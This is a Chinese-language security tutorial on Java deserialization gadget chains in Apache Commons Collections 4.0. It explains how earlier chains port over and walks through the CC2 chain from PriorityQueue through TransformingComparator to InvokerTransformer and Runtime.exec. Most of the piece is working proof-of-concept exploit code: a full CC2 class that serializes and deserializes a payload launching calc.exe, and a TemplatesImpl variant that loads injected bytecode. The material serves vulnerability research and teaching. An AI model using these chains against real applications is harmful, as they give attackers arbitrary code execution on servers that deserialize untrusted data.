由於在2015年底commons-collections反序列化利⽤鏈被提出時,Apache Commons Collections有以下兩個分⽀版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
可⻅,groupId和artifactId都變了。前者是Commons Collections⽼的版本包,當時版本號是3.2.1;後 者是官⽅在2013年推出的4版本,當時版本號是4.0。
官⽅認為舊的commons-collections有⼀些架構和API設計上的問題,但修復這些問題,會產⽣⼤量不能 向前相容的改動。所以,commons-collections4不再認為是⼀個⽤來替換commons-collections的新版 本,⽽是⼀個新的包,兩者的名稱空間不衝突,因此可以共存在同⼀個項⽬中。 那麼很⾃然有個問題,既然3.2.1中存在反序列化利⽤鏈,那麼4.0版本是否存在呢?
因為這⼆者可以共存,所以我可以將兩個包安裝到同⼀個項⽬中進⾏⽐較:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies
因為⽼的Gadget中依賴的包名都是org.apache.commons.collections
,⽽新的包名已經變 了,是org.apache.commons.collections4
。 我們⽤已經熟悉的CC6
利⽤鏈做個例⼦,我們直接把程式碼拷⻉⼀遍,然後將所import org.apache.commons.collections.*
改成 import org.apache.commons.collections4.*
。 此時IDE爆出了⼀個錯誤,原因是LazyMap.decorate
這個⽅法沒了:
看下decorate
的定義,⾮常簡單:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
這個⽅法不過就是LazyMap
建構函式的⼀個包裝,⽽在4中其實只是改了個名字叫lazyMap
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}
所以,我們將Gadget中出錯的程式碼換⼀下名字:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
同理,之前的CC1,CC3利用鏈都可以在commonscollections4
中正常使用
commons-collections
之所以有許多利⽤鏈,除了因為其使⽤量⼤,技術上的原因是其 中包含了⼀些可以執⾏任意⽅法的Transformer
。所以在commons-collections中找Gadget
的過 程,實際上可以簡化為,找⼀條從 Serializable#readObject()
⽅法到 Transformer#transform()
⽅法的調⽤鏈。
其中兩個關鍵類:
java.util.PriorityQueue
是⼀個有⾃⼰readObject()
⽅法的類:
org.apache.commons.collections4.comparators.TransformingComparator 中有調 ⽤transform()
⽅法的函數:
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以CC2
實際就是⼀條從 PriorityQueue
到TransformingComparator
的利⽤鏈
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
關於 PriorityQueue 這個資料結構的具體原理,可以參考這篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html
開始編寫POC,⾸先,還是建立Transformer:
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(transformers);
再建立⼀個TransformingComparator
,傳⼊我們的Transformer
Comparator comparator = new TransformingComparator(chain)
範例化PriorityQueue
物件,第⼀個引數是初始化時的⼤⼩,⾄少需要2個元素才會觸發排序和⽐較, 所以是2;第⼆個引數是⽐較時的Comparator
,傳⼊前⾯範例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
後⾯隨便新增了2個數位進去,這⾥可以傳⼊⾮null的任意物件,因為我們的Transformer是忽略傳⼊引數的。 最後,將真正的惡意Transformer設定上,
setFieldValue(transformerChain, "iTransformers", transformers)
完整poc如下
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(chain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
前邊說過了利⽤TemplatesImpl
可以構造出⽆Transformer陣列
的利⽤鏈,可以將CC2這條鏈也進行改造。
public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}